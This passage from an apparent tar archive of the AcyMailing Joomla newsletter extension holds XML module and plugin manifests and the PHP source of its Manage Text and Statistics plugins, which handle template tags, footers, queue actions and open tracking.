		<param name="cache_time" type="text" default="15" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
		<param name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
			<option value="header">In the header</option>
			<option value="module">On the module itself</option>
		</param>
		<param name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module"/>
	</params>

	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" default="module" label="Help" description="Click on the help button to get some help"/>
				<field name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
					<option value="normal">Normal (no effect)</option>
					<option value="mootools-slide">Slide effect</option>
					<option value="mootools-box">Popup effect</option>
				</field>
				<field name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)."/>
				<field name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well"/>
				<field name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
					<option value="inline">Horizontal</option>
					<option value="vertical">Vertical</option>
					<option value="tableless">Tableless</option>
				</field>
				<field name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible."/>
				<field name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
					<option value="0">Show user's subscription status</option>
					<option value="1">Default checked lists</option>
				</field>
				<field name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
					<option value="before">ACY_BEFORE_FIELDS</option>
					<option value="after">ACY_AFTER_FIELDS</option>
				</field>
				<field name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module"/>

				<field name="@spacer" type="spacer" default="" label="" description=""/>

				<field name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>
				<field name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>
				<field name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form"/>
				<field name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
					<option value="0">Inside</option>
					<option value="1">Outside</option>
				</field>
				<field name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" filter="SAFEHTML"/>
				<field name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" filter="SAFEHTML"/>
				<field name="@spacer" type="spacer" default="" label="" description=""/>
				<field name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>
				<field name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>
				<field name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>

				<field name="@spacer" type="spacer" default="" label="" description=""/>
				<field name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
					<option value="3">Ajax</option>
					<option value="0">Previous page</option>
					<option value="1">AcyMailing Archive</option>
					<option value="2">Custom Redirect Link</option>
				</field>
				<field name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe"/>
				<field name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe"/>

				<field name="@spacer" type="spacer" default="" label="" description=""/>

				<field name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'"/>
				<field name="@spacer" type="spacer" default="" label="" description=""/>
				<field name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the button in case of you use the Slide / Popup effect" filter="SAFEHTML"/>
				<field name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the button in case of you use the Slide / Popup effect. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML"/>
				<field name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the popup effect, you can set the width of the box in this area"/>
				<field name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the popup effect, you can set the height of the box in this area"/>

			</fieldset>
			<fieldset name="advanced">
				<field name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>
				<field name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
					<option value="none">Default CSS alignment</option>
					<option value="right">Right</option>
					<option value="left">Left</option>
					<option value="center">Center</option>
				</field>
				<field name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
					<option value="0">No caching</option>
					<option value="1">Use global</option>
				</field>
				<field name="cache_time" type="text" default="15" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
				<field name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
					<option value="header">In the header</option>
					<option value="module">On the module itself</option>
				</field>
				<field name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module"/>
			</fieldset>
		</fields>
	</config>
</install>

com_acymailing/extensions/mod_acymailing/index.html000060400000000054152455305300016664 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_managetext/managetext.xml000060400000006551152455305300021776 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Manage text</name>
	<creationDate>October 2010</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to remove some text from your Newsletter or add a signature at the end of all your Newsletters or add/remove an e-mail from the queue...</description>
	<files>
		<filename plugin="managetext">managetext.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-managetext"/>
		<param name="removetext" type="text" size="100" default="{reg},{/reg},{pub},{/pub}" label="Text to remove" description="Enter the different strings you want AcyMailing to remove and separate them with a comma. Example : {reg},{/reg},{pub},{/pub}" />
		<param name="removetags" type="text" size="100" default="youtube" label="Code to remove" description="AcyMailing will remove all tags specified in this option and its content, separate them with a comma" />

		<param name="footer" type="textarea" rows="5" cols="35" default="" label="Footer" description="Write the text you want to be added at the end of each e-mail" />
		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="frontendaccess" type="list" default="all" label="Front-end Access for filter" description="You can restrict the access to the filter 'Randomly select X Users' on the Front-end">
			<option value="all">Always display this filter</option>
			<option value="none">Don't display this filter on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-managetext"/>
				<field name="removetext" type="text" size="100" default="{reg},{/reg},{pub},{/pub}" label="Text to remove" description="Enter the different strings you want AcyMailing to remove and separate them with a comma. Example : {reg},{/reg},{pub},{/pub}" />
				<field name="removetags" type="text" size="100" default="youtube" label="Code to remove" description="AcyMailing will remove all tags specified in this option and its content, separate them with a comma" />

				<field name="footer" type="textarea" rows="5" cols="35" default="" label="Footer" description="Write the text you want to be added at the end of each e-mail" filter="SAFEHTML" />
				<field name="@spacer" type="spacer" default="" label="" description="" />

				<field name="frontendaccess" type="list" default="all" label="Front-end Access for filter" description="You can restrict the access to the filter 'Randomly select X Users' on the Front-end">
					<option value="all">Always display this filter</option>
					<option value="none">Don't display this filter on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_managetext/managetext.php000060400000032512152455305300021761 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');

class plgAcymailingManagetext extends JPlugin{
	var $foundtags = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'managetext');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->_replaceConstant($email);
		$this->_replaceRandom($email);
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->_removetext($email);
		$this->_addfooter($email);
		$this->_ifstatement($email, $user);
	}

	private function _replaceConstant(&$email){
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $acypluginsHelper->extractTags($email, '(?:const|trans|config)');
		if(empty($tags)) return;

		$jconfig = JFactory::getConfig();

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			$val = '';
			$arrayVal = array();
			foreach($oneTag as $valname => $oneValue){
				if($valname == 'id'){
					$val = trim(strip_tags($oneValue));
				}elseif($valname != 'default'){
					$arrayVal[] = '{'.$valname.'}';
				}
			}

			if(empty($val)) continue;
			$tagValues = explode(':', $i);
			$type = ltrim($tagValues[0], '{');
			if($type == 'const'){
				$tagsReplaced[$i] = defined($val) ? constant($val) : 'Constant not defined : '.$val;
			}elseif($type == 'config'){
				if($val == 'sitename'){
					$tagsReplaced[$i] = ACYMAILING_J30 ? $jconfig->get($val) : $jconfig->getValue('config.'.$val);
				}
			}else{
				static $done = false;
				if(!$done){
					$done = true;
					acymailing_loadLanguageFile('com_users', JPATH_SITE);
					acymailing_loadLanguageFile('com_users', JPATH_ADMINISTRATOR);
					acymailing_loadLanguageFile('plg_user_joomla', JPATH_ADMINISTRATOR);
				}
				if(!empty($arrayVal)){
					$tagsReplaced[$i] = nl2br(vsprintf(acymailing_translation($val), $arrayVal));
				}else{
					$tagsReplaced[$i] = acymailing_translation($val);
				}
			}
		}

		$acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	private function _replaceRandom(&$email){
		$pluginHelper = acymailing_get('helper.acyplugins');
		$randTag = $pluginHelper->extractTags($email, "rand");
		if(empty($randTag)) return;
		foreach($randTag as $oneRandTag){
			$results[$oneRandTag->id] = explode(';', $oneRandTag->id);
			$randNumber = rand(0, count($results[$oneRandTag->id]) - 1);
			$results[$oneRandTag->id][count($results[$oneRandTag->id])] = $results[$oneRandTag->id][$randNumber];
		}

		$tags = array();
		foreach(array_keys($results) as $oneResult){
			$tags['{rand:'.$oneResult.'}'] = end($results[$oneResult]);
		}

		if(empty($tags)) return;
		$pluginHelper->replaceTags($email, $tags, true);
	}


	private function _ifstatement(&$email, $user, $loop = 1){
		if(isset($this->noIfStatementTags[$email->mailid])) return;

		$isAdmin = JFactory::getApplication()->isAdmin();

		if($loop > 3){
			if($isAdmin) acymailing_display('You cannot have more than 3 nested {if} tags.', 'warning');
			return;
		}

		$match = '#{if:(((?!{if).)*)}(((?!{if).)*){/if}#Uis';
		$variables = array('subject', 'body', 'altbody', 'From', 'FromName', 'ReplyTo');
		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			if(is_array($email->$var)){
				foreach($email->$var as $i => &$arrayField){
					if(empty($arrayField) || !is_array($arrayField)) continue;
					foreach($arrayField as $key => &$oneval){
						$found = preg_match_all($match, $oneval, $results[$var.$i.'-'.$key]) || $found;
						if(empty($results[$var.$i.'-'.$key][0])) unset($results[$var.$i.'-'.$key]);
					}
				}
			}else{
				$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
				if(empty($results[$var][0])) unset($results[$var]);
			}
		}

		if(!$found){
			if($loop == 1) $this->noIfStatementTags[$email->mailid] = true;
			return;
		}

		static $a = false;

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$allresults[1][$i] = html_entity_decode($allresults[1][$i]);
				if(!preg_match('#^(.+)(!=|<|>|&gt;|&lt;|!~)([^=!<>~]+)$#is', $allresults[1][$i], $operators) && !preg_match('#^(.+)(=|~)([^=!<>~]+)$#is', $allresults[1][$i], $operators)){
					if($isAdmin) acymailing_display('Operation not found : '.$allresults[1][$i], 'error');
					$tags[$oneTag] = $allresults[3][$i];
					continue;
				};
				$field = trim($operators[1]);
				$prop = '';

				$operatorsParts = explode('.', $operators[1]);
				$operatorComp = 'acymailing';
				if(count($operatorsParts) > 1 && in_array($operatorsParts[0], array('acymailing', 'joomla', 'var'))){
					$operatorComp = $operatorsParts[0];
					unset($operatorsParts[0]);
					$field = implode('.', $operatorsParts);
				}
				
				if($operatorComp == 'joomla'){
					if(!empty($user->userid)){
						if($field == 'gid' && ACYMAILING_J16){
							$prop = implode(';', acymailing_loadResultArray('SELECT group_id FROM #__user_usergroup_map WHERE user_id = '.intval($user->userid)));
						}else{
							$juser = acymailing_loadObject('SELECT * FROM #__users WHERE id = '.intval($user->userid));
							if(isset($juser->{$field})){
								$prop = strtolower($juser->{$field});
							}else{
								if($isAdmin && !$a) acymailing_display('User variable not set : '.$field.' in '.$allresults[1][$i], 'error');
								$a = true;
							}
						}
					}
				}elseif($operatorComp == 'var'){
					$prop = strtolower($field);
				}else{
					if(!isset($user->{$field})){
						if($isAdmin && !$a) acymailing_display('User variable not set : '.$field.' in '.$allresults[1][$i], 'error');
						$a = true;
					}else{
						$prop = strtolower($user->{$field});
					}
				}

				$tags[$oneTag] = '';
				$val = trim(strtolower($operators[3]));
				if($operators[2] == '=' && ($prop == $val || in_array($prop, explode(';', $val)) || in_array($val, explode(';', $prop)))){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '!=' && $prop != $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif(($operators[2] == '>' || $operators[2] == '&gt;') && $prop > $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif(($operators[2] == '<' || $operators[2] == '&lt;') && $prop < $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '~' && strpos($prop, $val) !== false){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '!~' && strpos($prop, $val) === false){
					$tags[$oneTag] = $allresults[3][$i];
				}
			}
		}

		foreach($variables as &$var){
			if(empty($email->$var)) continue;
			if(is_array($email->$var)){
				foreach($email->$var as &$arrayField){
					if(empty($arrayField) || !is_array($arrayField)) continue;
					foreach($arrayField as &$oneval){
						$oneval = str_replace(array_keys($tags), $tags, $oneval);
					}
				}
			}else{
				$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
			}
		}
		$this->_ifstatement($email, $user, $loop + 1);
	}

	private function _removetext(&$email){
		$removetext = $this->params->get('removetext', '{reg},{/reg},{pub},{/pub}');
		if(!empty($removetext)){
			$removeArray = explode(',', trim($removetext, ' ,'));
			if(!empty($email->body)) $email->body = str_replace($removeArray, '', $email->body);
			if(!empty($email->altbody)) $email->altbody = str_replace($removeArray, '', $email->altbody);
		}


		$removetags = $this->params->get('removetags', 'youtube');
		if(!empty($removetags)){
			$regex = array();
			$removeArray = explode(',', trim($removetags, ' ,'));
			foreach($removeArray as $oneTag){
				if(empty($oneTag)) continue;
				$regex[] = '#(?:{|%7B)'.preg_quote($oneTag, '#').'(?:}|%7D).*(?:{|%7B)/'.preg_quote($oneTag, '#').'(?:}|%7D)#Uis';
				$regex[] = '#(?:{|%7B)'.preg_quote($oneTag, '#').'[^}]*(?:}|%7D)#Uis';
			}

			if(!empty($email->body)) $email->body = preg_replace($regex, '', $email->body);
			if(!empty($email->altbody)) $email->altbody = preg_replace($regex, '', $email->altbody);
		}
	}

	private function _addfooter(&$email){
		$footer = $this->params->get('footer');
		if(!empty($footer)){
			if(strpos($email->body, '</body>')){
				$email->body = str_replace('</body>', '<br />'.$footer.'</body>', $email->body);
			}else{
				$email->body .= '<br />'.$footer;
			}

			if(!empty($email->altbody)){
				$email->altbody .= "\n".$footer;
			}
		}
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){
		if($this->params->get('displayfilter_'.$context, true) == false || ($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin())) return;

		$type['limitrand'] = acymailing_translation_sprintf('ACY_RAND_LIMIT', 'X');

		$return = '<div id="filter__num__limitrand">'.acymailing_translation_sprintf('ACY_RAND_LIMIT', '<input type="text" style="width:60px" value="30" name="filter[__num__][limitrand][nbusers]" />').'</div>';

		return $return;
	}

	function onAcyDisplayFilter_limitrand($filter){
		return acymailing_translation_sprintf('ACY_RAND_LIMIT', $filter['nbusers']);
	}


	function onAcyProcessFilter_limitrand(&$query, $filter, $num){
		$query->limit = intval($filter['nbusers']);
		$query->orderBy = 'RAND()';
	}

	function onAcyDisplayActions(&$type){
		$type['addqueue'] = acymailing_translation('ADD_QUEUE');
		$type['removequeue'] = acymailing_translation('REMOVE_QUEUE');

		$allEmails = acymailing_loadObjectList("SELECT `mailid`,`subject`, `type` FROM `#__acymailing_mail` WHERE `type` NOT IN ('notification','autonews','joomlanotification') OR `alias` = 'confirmation' ORDER BY `type`,`senddate` DESC LIMIT 5000");

		$emailsToDisplay = array();
		$typeNews = '';
		foreach($allEmails as $oneMail){
			$oneMail->subject = acyEmoji::Decode($oneMail->subject);
			if($oneMail->type != $typeNews){
				if(!empty($typeNews)) $emailsToDisplay[] = acymailing_selectOption('</OPTGROUP>');
				$typeNews = $oneMail->type;
				if($oneMail->type == 'news'){
					$label = acymailing_translation('NEWSLETTERS');
				}elseif($oneMail->type == 'followup'){
					$label = acymailing_translation('FOLLOWUP');
				}elseif($oneMail->type == 'welcome'){
					$label = acymailing_translation('MSG_WELCOME');
				}elseif($oneMail->type == 'unsub'){
					$label = acymailing_translation('MSG_UNSUB');
				}else{
					$label = $oneMail->type;
				}
				$emailsToDisplay[] = acymailing_selectOption('<OPTGROUP>', $label);
			}
			$emailsToDisplay[] = acymailing_selectOption($oneMail->mailid, $oneMail->subject.' ['.$oneMail->mailid.']');
		}
		$emailsToDisplay[] = acymailing_selectOption('</OPTGROUP>');

		$addqueue = '<div id="action__num__addqueue">'.acymailing_select($emailsToDisplay, "action[__num__][addqueue][mailid]", 'class="inputbox" size="1"').'<br /><label for="addqueuesenddate__num__">'.acymailing_translation('SEND_DATE').' </label> <input type="text" value="{time}" id="addqueuesenddate__num__" name="action[__num__][addqueue][senddate]" onclick="displayDatePicker(this,event)"/></div>';

		$allMessages = acymailing_selectOption(0, acymailing_translation('ACY_ALL'));
		array_unshift($emailsToDisplay, $allMessages);
		$removequeue = '<div id="action__num__removequeue">'.acymailing_select($emailsToDisplay, "action[__num__][removequeue][mailid]", 'class="inputbox" size="1"').'</div>';
		return $addqueue.$removequeue;
	}

	function onAcyProcessAction_addqueue($cquery, $action, $num){
		$action['mailid'] = intval($action['mailid']);
		if(empty($action['mailid'])) return 'Mailid not valid';
		if(empty($action['senddate'])) return 'Send date not valid';

		$action['senddate'] = acymailing_replaceDate($action['senddate']);
		if(!is_numeric($action['senddate'])) $action['senddate'] = acymailing_getTime($action['senddate']);
		if(empty($action['senddate'])) return 'send date not valid';

		$query = 'INSERT IGNORE INTO `#__acymailing_queue` (`mailid`,`subid`,`senddate`,`priority`) '.$cquery->getQuery(array($action['mailid'], 'sub.`subid`', $action['senddate'], '2'));
		$affected = acymailing_query($query);
		return acymailing_translation_sprintf('ADDED_QUEUE', $affected);
	}

	function onAcyProcessAction_removequeue($cquery, $action, $num){
		$action['mailid'] = intval($action['mailid']);
		if(!empty($action['mailid'])) $cquery->where['queueremove'] = 'queueremove.mailid = '.$action['mailid'];

		$query = 'DELETE queueremove.* FROM `#__acymailing_queue` as queueremove ';
		$query .= 'JOIN `#__acymailing_subscriber` as sub ON queueremove.subid = sub.subid ';
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
		if(!empty($cquery->where)) $query .= ' WHERE ('.implode(') AND (', $cquery->where).')';

		$affected = acymailing_query($query);

		unset($cquery->where['queueremove']);

		return acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $affected);
	}

	function onAcyProcessAction_displayUsers($cquery, $action, $num){

		$res = array();
		$res['countTotal'] = $cquery->count();

		if(empty($cquery->limit) || $cquery->limit > 50) $cquery->limit = 20;

		$query = $cquery->getQuery(array('sub.`subid`', 'sub.email', 'sub.name'));
		$users = acymailing_loadObjectList($query);

		$res['users'] = $users;
		return $res;
	}

}//endclass
com_acymailing/extensions/plg_acymailing_managetext/index.html000060400000000054152455305300021104 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_stats/stats.php000060400000013340152455305300017761 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingStats extends JPlugin{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'stats');
			$this->params = new acyParameter($plugin->params);
		}
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->statPicture($email, $send);
	}

	function statPicture(&$email, $send = true){
		if(!empty($email->altbody)){
			$email->altbody = str_replace(array('{statpicture}', '{nostatpicture}'), '', $email->altbody);
		}
		if(((isset($email->sendHTML) && !$email->sendHTML) || (isset($email->html) && !$email->html))
			|| empty($email->type)
			|| !in_array($email->type, array('news', 'autonews', 'followup', 'welcome', 'unsub', 'joomlanotification', 'action'))
			|| strpos($email->body, '{nostatpicture}')){
			$email->body = str_replace(array('{statpicture}', '{nostatpicture}'), '', $email->body);
			return;
		}

		if(!$send){
			$pictureLink = ACYMAILING_LIVE.$this->params->get('picture', 'media/com_acymailing/images/statpicture.png');
		}else {
			$config = acymailing_config();
			$itemId = $config->get('itemid', 0);
			$item = empty($itemId) ? '' : '&Itemid=' . $itemId;
			$pictureLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=statistics&mailid=' . $email->mailid . '&subid={subtag:subid}' . $item, false);
		}

		$widthsize = $this->params->get('width', 50);
		$heightsize = $this->params->get('height', 1);
		$width = empty($widthsize) ? '' : ' width="'.$widthsize.'" ';
		$height = empty($heightsize) ? '' : ' height="'.$heightsize.'" ';

		$statPicture = '<img class="spict" alt="'.$this->params->get('alttext', '').'" src="'.$pictureLink.'"  border="0" '.$height.$width.'/>';

		if(strpos($email->body, '{statpicture}')){
			$email->body = str_replace('{statpicture}', $statPicture, $email->body);
		}elseif(strpos($email->body, '</body>')) $email->body = str_replace('</body>', $statPicture.'</body>', $email->body);
		else $email->body .= $statPicture;
	}//endfct

	function acymailing_getstatpicture(){
		return $this->params->get('picture', 'media/com_acymailing/images/statpicture.png');
	}

	function onAcyDisplayTriggers(&$triggers){
		$triggers['opennews'] = acymailing_translation('ON_OPEN_NEWS');
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($context != "massactions" AND !$this->params->get('displayfilter_'.$context, false)) return;

		$type['deliverstat'] = acymailing_translation('STATISTICS');

		$allemails = acymailing_loadObjectList("SELECT `mailid`,CONCAT(`subject`,' [',".acymailing_escapeDB(acymailing_translation('ACY_ID').' ').", CAST(`mailid` AS char),']') as 'value' FROM `#__acymailing_mail` WHERE `type` IN('news','welcome','unsub','followup','notification','joomlanotification') ORDER BY `senddate` DESC LIMIT 5000");
		$element = new stdClass();
		$element->mailid = 0;
		$element->value = acymailing_translation('EMAIL_NAME');
		array_unshift($allemails, $element);

		$actions = array();
		$actions[] = acymailing_selectOption('open', acymailing_translation('OPEN'));
		$actions[] = acymailing_selectOption('notopen', acymailing_translation('NOT_OPEN'));
		$actions[] = acymailing_selectOption('failed', acymailing_translation('FAILED'));
		if(acymailing_level(3)) $actions[] = acymailing_selectOption('bounce', acymailing_translation('BOUNCES'));
		$actions[] = acymailing_selectOption('htmlsent', acymailing_translation('SENT_HTML'));
		$actions[] = acymailing_selectOption('textsent', acymailing_translation('SENT_TEXT'));
		$actions[] = acymailing_selectOption('notsent', acymailing_translation('NOT_SENT'));

		$return = '<div id="filter__num__deliverstat">'.acymailing_select($actions, "filter[__num__][deliverstat][action]", 'class="inputbox" onchange="countresults(__num__);" size="1"', 'value', 'text');
		$return .= ' '.acymailing_select($allemails, "filter[__num__][deliverstat][mailid]", 'onchange="countresults(__num__)" class="inputbox" size="1" style="max-width:200px"', 'mailid', 'value').'</div>';

		return $return;
	}

	function onAcyProcessFilterCount_deliverstat(&$query, $filter, $num){
		$this->onAcyProcessFilter_deliverstat($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_deliverstat(&$query, $filter, $num){

		$alias = 'stats'.$num;
		$jl = '#__acymailing_userstats AS '.$alias.' ON '.$alias.'.subid = sub.subid';
		if(!empty($filter['mailid'])) $jl .= ' AND '.$alias.'.mailid = '.intval($filter['mailid']);

		$query->leftjoin[$alias] = $jl;

		if($filter['action'] == 'open'){
			$where = $alias.'.open > 0';
		}elseif($filter['action'] == 'notopen'){
			if(empty($filter['mailid'])) {
				unset($query->leftjoin[$alias]);
				$usersNeverOpened = acymailing_loadResultArray('SELECT subid FROM #__acymailing_userstats GROUP BY subid HAVING MAX(open) = 0');
				if(empty($usersNeverOpened)) $usersNeverOpened = array(0);
				$where = 'sub.subid IN ('.implode(',', $usersNeverOpened).')';
			}else{
				$where = $alias.'.open = 0';
			}
		}elseif($filter['action'] == 'failed'){
			$where = $alias.'.fail = 1';
		}elseif($filter['action'] == 'bounce'){
			$where = $alias.'.bounce = 1';
		}elseif($filter['action'] == 'htmlsent'){
			$where = $alias.'.html = 1';
		}elseif($filter['action'] == 'textsent'){
			$where = $alias.'.html = 0';
		}elseif($filter['action'] == 'notsent'){
			$where = $alias.'.subid IS NULL';
		}

		$query->where[] = $where;
	}

}//endclass
com_acymailing/extensions/plg_acymailing_stats/stats.xml000060400000006406152455305300017777 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing : Statistics Plugin</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
